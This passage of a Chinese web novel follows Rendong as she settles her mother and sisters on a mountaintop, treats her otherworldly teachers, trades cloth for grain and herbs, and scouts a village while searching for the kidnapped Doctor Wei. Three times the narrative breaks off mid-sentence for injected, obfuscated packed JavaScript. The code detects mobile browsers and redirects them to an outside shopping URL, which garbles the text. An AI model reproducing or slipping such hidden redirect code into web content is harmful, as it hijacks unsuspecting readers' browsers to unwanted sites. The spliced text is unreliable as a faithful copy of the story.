两人虽然年纪小,经历的却多,知道自己的处境,原本在山腰的时候,就不会随意乱走动,在山顶更加不会。 只是忍冬担心,所以才会拉着她们多说几句。 就像菡萏担心她,在她要下山之前,也拉着她多加叮嘱。 不过菡萏叮嘱了几句之后,就被忍冬拉着去看运输设备,教她如何使用。 “爬到山顶时间长些,我以后可能不会经常上山,东西我带到山脚,娘你用这个东西把东西拉上来就好,有什么事你按这里,我们可以说话,”忍冬反过来教她,“不过除了我之外,任何人叫你,都不能用这个设备。” “就算在底下喊了,我也听不见,”菡萏笑道,“我们住这里你放心吧,这么高的山不会有人能上得来,而且你也说了,这上面比底下宽敞,我们住着比底下要舒服多了。” 忍冬还是不放心,再叮嘱道:“紧急情况下,你们也可以用这个设备下去,不过山下大多情况下都不会比山上安全,过两日我多带些粮食来,山顶的房子好存粮食,万一我有急事好多时日不来,你们也不会有事。” 菡萏敏锐地察觉到不对劲,立即问道:“冬儿,发生什么事了?” 忍冬这次没有隐瞒,将自己听说周围有山匪,推测天下可能会乱起来的事与她说了一遍。 “那你要注意安全,不行的话也来山上住。” “如果可以,我会来的,不过我现在还有很多事要干,娘你带着她们安心住着,我的本事你知道的,别太担心。” 不说卫大夫的事,山洞那边也离不开她。 老师们现在的身体看着都好,但身体几乎都已经到了濒临崩溃的时候,只要他们多用几回异能,就可能会导致彻底崩溃。 没有老师们,她就不会有这样的现在。 不管是为了报恩,亦或是为了老师们那边时不时出现的那些稀奇古怪的东西,她都无论如何都要将老师们治好,哪怕只是稍稍延长寿命也好。 至于娘亲这边,虽然还没有彻底安好,但只要给她们足够多的粮食,她们住在这里就不会有太大的问题。 “我先走了,”忍冬走进运输设备,“娘,你们在这里好好待着,别担心我。” “你也别担心我们,山上的粮食还有许多,布料也有,我们的日子不会差的,”菡萏说着,思索片刻后拉着她的手,“万一,我是说万一有个什么,你想办法往京城跑,要是能跑到京城,去寻吏部侍郎詹蒙,他是你外祖父。” 忍冬震惊看她。 菡萏苦笑:“不是我之前不与你说,而是怕与你说了,你更无法在村中住下,反而危险,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216467|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本我想着等我逃离后找到了人,就来接你,但你也晓得,我根本就逃不出去,就算逃出去,我一介女眷,又如何能千里迢迢赶往京城?” “娘的爹是吏部侍郎,怎么会……” “娘是被卖来的,”菡萏说着,知道她要问什么,先摇了头,“但我也不知道是谁动的手,当我醒来时,人已经远离京城,但此事定与你外祖父无关,你去找他,他会帮你。” 忍冬皱了皱眉:“但这都已经过去十几年了,他还在那个位置吗?” 偏僻乡村消息不通,对于京官变动全无所知,别说是一个吏部侍郎,就算是皇帝变化,只要是正常子承父业,不涉及战争的情况,百姓估计也都说不出来。 忍冬都已经十三岁了,曾经的吏部侍郎可能已经升了官,也有可能因为官场斗争下了监狱。 菡萏也想过有这种可能,这也是她一直不提及这件事的另一个原因:“所以这是最后的退路,如果……我是说万一出现意外,你试着去找找看,要是你外祖家还行,或许能帮到你一些。” 十几年过去,她虽然从未忘记过那个家,但这么多年都杳无音讯,她也想过或许家人都已经忘记自己。 可眼下忍冬可能出现意外,她不得不提及此事。 “娘,我记下了,”忍冬回握住菡萏的手,“你放心吧,如果真的出现意外,我会想办法活下来,你们也好好待在这里,不要离开,等我在外面站稳脚跟,就接你们出去,到时候你们就不会被困在这里了。” “这里也好,与世隔绝,没有与外人的纠纷,”菡萏笑道,“原先在村里住着的时候,日夜都提心吊胆,如今却觉得心情平静,孩子们你也放心,我会照顾好她们,但你也照顾好自己。” 忍冬点头:“嗯,那我就先走了。” “慢些。” 菡萏操作着运输设备,将忍冬送下山,等她到了山脚,听着从设备传来的声音,心里虽然还是担心,但也知道女儿确实是长大了。 而且她有这样的奇遇,未来肯定会越来越好。 收起运输设备后,菡萏并没有闲着,而是带着杨柳和青竹二人,将山顶她们能够走动的地方都收拾出来。 不得不说,山顶的风虽然不小,但阳光确实充沛,原本到下午时分就出现暗下来的天,眼下还是明亮的。 且她们现在睡觉的地方也格外干净。 菡萏特意烧了火,给自己和所有孩子都洗了个澡,再换上干净的衣服,感觉整个人都轻巧许多。 “娘,我们以后都住这儿吗?” “对啊,杨柳感觉怎么样,好不好?” “好,太好了,我从来没有住过这么好的地方,那姐姐以后会来跟我们一起住吗?” “会,会的,她现在那么努力,就是为了跟我们在一起生活。” “那我好好照顾妹妹们。” “我也是,我也是,我帮娘一起照顾妹妹们!” “那我们一起照顾,让你们的姐姐放心,好不好?” 两人异口同声答应:“好!” 23.以物易物 “老师,感觉怎么样?” “感觉比之前轻松很多,”夏瑞蒂仔细感受过之后,说出了确切的结果,“这说明你给我吃的药是有效的。” “从脉象看,也平稳很多,”忍冬握着她的手,又仔细感觉了一下脉息,“虽然老师们的脉息都很奇怪,但能够诊出轻重,原本的脉息我能感觉到已经处于彻底紊乱的边缘,现在的脉息却好了许多,正在接近正常状态,这说明我的治疗是有效果的。” “何止是有效果,简直是太好了,”夏瑞蒂忍不住感慨,“原本让你医治,不过是实在没办法,没想到你真能这么快学会看病治疗,我们真是运气好。” “也是我运气好,”忍冬移开手,乖乖放在膝盖上,“要是没有碰到老师们,我现在不知道会遇到什么事。” “那我们都好。”夏瑞蒂笑了。 其余人站在一旁,很快就有人开了口:“所以接下来是不是要给我们治疗了?” “嗯,不过老师们的身体都有问题,我准备的药材不够,接下来我要多准备一些药材,”忍冬起身,“老师们先吃一些补身体的基础药材,把身体养好,那些药材是够的。” “我们都听你的。” “是,你是医生,你说了算。” “本来以为我们是彻底没救了,没想到能遇上你,所以不管你说什么,我们答应。” “对了,你要去准备药材,是不是得花钱?你们那里布料之前,我们再给你准备一些布料吧,你都拿去卖,多换一些钱,总不能你帮我们做了这么多事,手上却攒不到多的钱。” 忍冬问道:“老师们这里的布料还够吗?” “何止是够,你要多少就有多少,要不是怕影响到你们世界的稳定,我们能把织布机都放这里。” 古代世界的生产落后,任何一个变量都会引起环境的变化,布料固然是好东西,但数量太多形成倾销,对那个世界的纺织业会产生巨大的影响。 严重的情况下,还会导致出现战争,导致原本平稳的环境分崩离析。 不止是布料,任何超越时代的物品出现,都会导致出现意外。 这也是他们并不总让忍冬带回超越时代的东西,只偶尔给一部分的缘故。 “除了布料之外,我们这边还做了一个压缩的温室模块,”夏瑞蒂说道,“你娘亲她们不是都待在与世隔绝的地方吗?吃喝穿用都是需要的,总是你买东西过去,她们怕会对你隐瞒许多不便的地方,温室模块可以调整温度,种一些日常的蔬菜不成问题。” “调整温度的意思,是冬日天寒,也能种夏日的蔬菜,对吗?”忍冬很快就明白了夏瑞蒂的意思。 “不一定是夏日,实际任何季节都可以,除了单独给你的,这边我们打算将这一整个空间都打造成温室,这样的话,你能看到的所有土地,都可以种上你想吃的食物。” 忍冬不禁赞叹:“这样好厉害啊!” 外界的形势越来越不对,她最怕的就是随着形势越来越差,到时候买不到粮食,但有了这个温室,不管气候如何,都能种出粮食来,就不怕没东西吃了。 所以拿到温室模块之后,她立即送到了娘所在的山上。 温室模块与房屋模块相似,都是放置后展开,菡萏第一次看到这样的东西,再看向忍冬,目光中说不出的复杂。 她也不知道自己心里究竟在想什么,只是心疼女儿,猜测女儿为了这些东西,应该付出了不少。 “娘,这块地方不太适合直接种地,我待会儿下去运一些土上来,你们先种点简单的菜,”忍冬拉着菡萏的手,“这样我就只要买粮食就好,粮食好存,不用担心坏掉,这样就就算我长时间不来,你们也完全不用担心吃喝的问题。” “知道了知道了,你都说好多遍了,”菡萏回握着她的手,“你总这样操心我的事,不知道的还以为我们的身份反了呢。” “反就反了,娘从小也为我操心了许多,我也愿意为娘操心,”忍冬笑道,“那东西都送到了,我还有事情要去做,过些天再来。” “去吧,别担心我们,我们现在的日子都不比人家镇上的人差了,吃喝不愁不说,还都吃的精细粮,”菡萏依然面带笑容,“好好去做你自己的事。” “嗯,那我走啦。” 忍冬这次没有再依依不舍,很快就下了山去。 随后回了山洞,带了一些穿着暖和的布料往县城去。 刚走到布庄所在的街上,早就等在门口的瑞昌布庄掌柜就迎了上来,接过她的背篓往布庄走。 “你可算是来了,这次怎么来这么晚?” “有些事耽误了,但也不算晚吧,”忍冬接过被硬塞到手里的杯子,很快明白了其中内情,“这料子的生意很好?” “何止是好,那简直是太好了,不止我们县城的人问,外地还有不少商人来问呢,就想知道什么时候上新料,最好数量多一些,”掌柜快速说道,“对了,你想见见他们吗?他们就住在不远处的客栈里。” “可以啊,”忍冬点头,“正好问问他们需要多少,或许我可以拿到更多的。” 掌柜看她:“那我……” 忍冬笑了笑:“到时候我会给介绍费。” 掌柜也立即喜笑颜开:“那感情好,我们这就去吧,那些商人再等不到你,怕也是要离开了,那这生意可就做不成了。” 客栈的位置离布庄不远,两人很快就到了客栈,通过掌柜的人脉,见到了那些来此的商人。 见到忍冬,众人都有些讶异。 “这么小?” “逗我们玩呢。” “早知道就不出来了。” “小地方就是这样,有点小手段就以为自己很有本事,瑞昌布庄也就是个小小的布庄,要不是生意难做,我们也不至于与这布庄合作,现在又带来这么个小孩,以为是玩呢?” 两人的声音不低,但他们说的是方言,就算听到了,一般人也听不懂。 却不包括一直带着翻译器的忍冬。 她没有离开过县城,用这翻译器最多的就是跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227207|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师们交流,也因为这翻译器只是一片小小的薄片,戴在耳朵里完全没有异物感,久而久之她自己都忘了翻译器这件事。 这还是头一回,听到经过翻译的方言。 “她一直看着我们做什么?不会是能听懂我们说话吧?” “不可能,她一个小姑娘,肯定连县城都没有出去过,怎么可能听懂我们的话?肯定单纯只是好奇罢了。” “这么说确实有点像。” 忍冬又看了他们一眼,很快就收回视线,看向其余几人。 “给大家介绍一下,这位就是忍冬,我们布庄这一年进的新奇布料,都来自于她手,”布庄掌柜指着忍冬介绍道,又指向其余的人,“忍冬,这些都是各地过来卖货的老板,这是卖粮的,这是卖药材的,还有这位是我们的同行,也是卖布的,以及这几位……” 一一介绍过后,那位卖布的同行先一步用官话开口:“你手里的料子我看过,都很有意思,特别是那款保暖性极好的料子,居然并不是我所知的任何一种毛发,穿着却格外暖和,不知道其中有什么讲究?” 忍冬摇头:“抱歉,那是我们的独家制作方式。” “原来如此,那我能问问,你手上有多少料子吗?我们都是做长远生意的,在全国内买货卖货,要是量少,这生意可做不成。” “你们要多少,我就可以拿出多少。”忍冬说道。 “可别把话说大了,你知道我们要量多少吗?”先前用方言蛐蛐的其中一人说道,“而且你一个小姑娘,能接触到多少货?” “只要你们能拿出我要的东西,我就能说话算话。”忍冬直接道,左右他们来做生意,运输能力有限,再怎么样也就运走几马车的东西,不会像老师说的那样,对这个世界造成影响。 “不卖钱,要东西?”药材商开了口。 忍冬看向对方,脸上带了笑:“是,我需要药材和粮食,可以等价交换。” “这倒是个好主意,”药材商起了身,“正好我来卖药材,不如去看看?要是合适,这生意我们俩可以直接做。” “好。”忍冬立即答应。 她要多卖布料赚钱的目的,就是为了卖药材。 这边县城并不是产药材的地方,很多药材都找不到,需要从外地送来,而她要治疗老师们的病,需要足够多的药材。 两人起了身之后,其余人也一并起了身。 “免贵姓梁,不知姑娘贵姓?” “你叫我忍冬就好,姓氏不过是外物,”忍冬跟着对方走到后院,看到了摆在后院的一箱箱货物,“梁老板,这些就是你要卖的药材?我能看看吗?” “你识药?” “此地药价,我都清楚,且读过几本医术,”忍冬看向对方,在得到对方允许后,打开了其中一箱药材,仔细看过后点了头,“这确实都是些好药材,其它的我都能看吗?然后我们来说一说布匹数量。” “当真有?我这里药材可不少。” “有,梁老板放心,要多少有多少!” 24.太危险了 “掌柜,这小姑娘到底是个什么人?看着不像是谁家大小姐,哪来这么多布料?” “她说有就有,你信她就是,”瑞昌布庄掌柜笑呵呵说道,“不过这会儿她应该是真的缺粮食和药材,不然不会一下子拿出这么多布料,至于身份,我就是个卖布的,知道那么多做什么?” “这么说也是,”说话的人往前走了两步,直接开口,“忍冬姑娘,既然你都已经在这了,不妨看看粮食,我带来的这批粮食可也是上好的精细粮。” “好啊。” 忍冬现在最需要的就是粮食和药材,可以直接从这些人手里买,要比零散着收取要好。 对方也确实没有说谎,带来的确实是上好的粮食。 最终彼此根据粮食和药材的价格,确定了布匹的数量。 回去的时候,忍冬临时租了辆马车,第二天一早的时候,把这些人需要的布料带来,又将粮食和药材带回去,交易就算是完成了。 不过并不是所有人都跟忍冬进行了交易,那几个从一开始就没有信她的人,就没有跟她交易。 但好在这些人带来的就是普通的粮食,她并不是非得要。 “布料还够用吗?” “够的,老师,”忍冬在收拾药材,“买这些东西,只用了一部分料子,还剩下好多呢,接下来我再叫人去换一些粮食,我们这边也多种一些。” “你娘她们不够吃吗?要是不够的话从这边多带一点走,我们可以少吃点。” “不是,她们够吃,我就是觉得外头的形势不对,这才想着多买一些粮食囤着,”忍冬说道,看着边上放着的粮食,“其实我这几天还在想一个问题,我给老师们把脉,发现你们的脉象有些差异,我怀疑跟你们的饮食也有关系。” “饮食?”夏瑞蒂疑惑皱眉,“你的意思是我们不能吃营养液?” 忍冬早就听说过营养液,那时候她只觉得营养液很好,不需要种,不需要煮,直接喝下去就能饱腹,还觉得那是很好的东西。 但这段时间随着她对老师们脉象的了解,再看过他们日常的饮食,越发觉得营养液并不是什么好东西。 “老师,我们那边有句话叫‘药食同源’,意思是说食物本身其实也是药的一部分,对身体是有好处的,营养液固然可以在短期内起到饱腹的作用,但对身体却未必是好事,”忍冬皱着眉说道,“不过这只是我的推测,毕竟你们学习异能的进度不一样,也许是我想多了。” 夏瑞蒂也在仔细想这件事。 好一会儿之后才开口:“你这么说,我是想起来,在很多年以前,大家都还吃自然食物的时候,异能崩溃的情况确实要少一些,但那是很多年之前的事了,连我都不太记得。” “所以那些人让我们在这里种地,是为了得到自然食物?”白仁悦走过来,“原先我就奇怪,如果营养液那么好,为什么还需要种地,现在看来,那些人早就知道自然食物跟异能崩溃是有关的,如果能吃到足够多的自然食物,或许能缓解异能崩溃。” “所以这有可能是真的?”忍冬也没想到还有这情况。 夏瑞蒂和白仁悦互相看了看,很快就点了头:“虽然不能确定,但大概率是这样,既然如此,你多买些粮食,我们接下来的一日三餐,都换成你带过来的粮食试试。” 忍冬立即笑着点头:“好,除了粮食之外,我再去多买一些药材,药补食补双管齐下,你们的身体肯定能好起来。” 现在她要救老师们,早已不仅仅是为了利益,也是希望真能医好他们。 要是没有他们,自己不可能走到现在这个地步。 不过除此之外,她还希望能找到卫大夫和辛夷。 …… “怎么样?” “没有消息,我问了好多人,要么不敢说,要么就算是说了,也说不出个所以然来,那些人很凶恶,很多人见到他们,都会立刻躲避,不然很有可能会发生意外,”狗贵说着,小心看向忍冬,“所以我想,卫大夫会不会已经出事了?” “目前应该不会,”忍冬摇头,“我去药铺看过,药铺里的药材少了许多,而且少的最多的就是治疗外伤的草药,显然卫大夫被带走,就是去给人治病的,所以只要卫大夫愿意给那些人治病,就不会有事。” “但你说目前……” “如果那些人都是十恶不赦的人,卫大夫难免会起逆反心理,到那时候,他未必能好,”忍冬皱眉,“卫大夫一贯不喜欢与人为敌,却也是个仁善的人。” 卫大夫好歹也算是她半个老师,当初要不是卫大夫,自己也无法学医。 后来就算发生了她奶的那桩事,卫大夫在赶她走之前,还给她了一本有关药材的册子,如果能救,她肯定要想办法救一救。 想着,忍冬又看向狗贵:“你打听消息,总有一个大致的方向,最后的方向在哪里?” “你要去?”狗贵问道。 忍冬点头:“嗯,不管最后有没有找到,至少我找过他,这样就算最后他出了事,我也能问心无愧,你给你报酬,你带路。” 狗贵这才点头:“好吧,不过报酬就不用了,卫大夫之前也救过我,要是能将卫大夫救出来,就算是报答他之前救我的恩。” 两人说定,便一起坐上了马车,往狗贵打听到的山匪所在方向过去。 路上狗贵又说了些事情。 这段时间的形势比之前越来越严峻,虽然眼看着就要到丰收季,百姓们的心情却不算太好,生怕在收获的时候遇到山匪劫掠。 但又不敢提前收获,毕竟粮食长成需要时间,提前收获几日,会损失不少粮食。 大家都盼着即便山匪劫掠,自家也要在最后,这样的话能带着粮食躲起来。 “官府那帮王八羔子,也都是拿钱不办事,说什么山匪劫掠不过就是传言,哪里能因为传言就派出那么多官差的,还说什么府衙就那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230850|196265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么点官差,完全分配不过来。” “那他们可以去找山匪。” “对啊,大家也都这么说,可官府又说什么没见到山匪,这不是摆明了不想做事么?” “不过这批山匪来的也突然,你没有得到别的消息吗?” “没有,我听到的,也都是大家传言好几回的。” “那再多准备些粮食吧,前面有个村子,去看看,有没有愿意卖粮食的。” 忍冬只能猜测发生了一些事,但具体发生了什么事并不清楚,而她虽然读过不少书,应对外面的经验却有限,到现在这一步,她也想不出还有别的法子,只能多囤粮。 狗贵这一年一直都在买粮食,对买粮这件事熟门熟路,到了地方之后直接跳下马车:“我进去问问。” 忍冬坐在马车上,四下随意看了一圈。 这地方位置有些偏僻,田地也都不算是上好的良田,怪不得附近就只有这么个村庄,要不是因为要找人,她肯定不会来这里。 天色眼看着就要暗下,她应该让狗贵问问,看村里有没有可以歇脚的地方,没准今天得在这里住一晚。 正想着,狗贵拎着一个袋子回来。 忍冬跳下马车:“对了,今天天色……” “不对,”狗贵打断她的话,“这里的情况不对,感觉很不一样。” “怎么了?”忍冬问道。 “我进去看了看,里面表面看着很正常,但根据我走了那么多村庄的情况,这里面的人都不对,不像是正常生活在这里的人,”狗贵压低声音,“那些小孩完全没有在玩,而是一直盯着我,正常村子里哪里会有这样的情况?” “所以你的意思是,整个村子的情况都不对?”忍冬看着那个平平无奇的村庄,想起两人来这里的目的,“那你说这里住着的人,跟山匪会有关系吗?” “不能吧?山匪会这样光明正大住在这里?”狗贵难以理解忍冬的猜测。 “虽然这个可能性不大,但也并不是完全没可能,”忍冬坐回马车,拉起缰绳,跟狗贵叮嘱,“待会儿我们走远一些,你自己驾着马车离开,我回来看看情况。” “这太危险了吧?” “我不会有事,倒是你,留下来只会给我拖后腿。” 狗贵不太相信忍冬的话,提了个新建议:“不然我们还是报官?” 忍冬摇头:“报官说什么?说我们什么都没发现,就觉得这村子有问题?你觉得官府会派人来吗?” 狗贵立即摇头:“官府肯定会觉得我们在没事找事。” “那不就行了,所以我得先去找找线索,最好能找到卫大夫,这样的话我们的任务就算是完成了,”忍冬驾着马车走远了一些,直到脱离村落能看到的位置,才将缰绳交给狗贵,“你往前在走一些,找个落脚的地方歇着,明日一早来这里找我。” 说完,她跳下马车,钻进了隐蔽的草丛中,往村子的方向走去。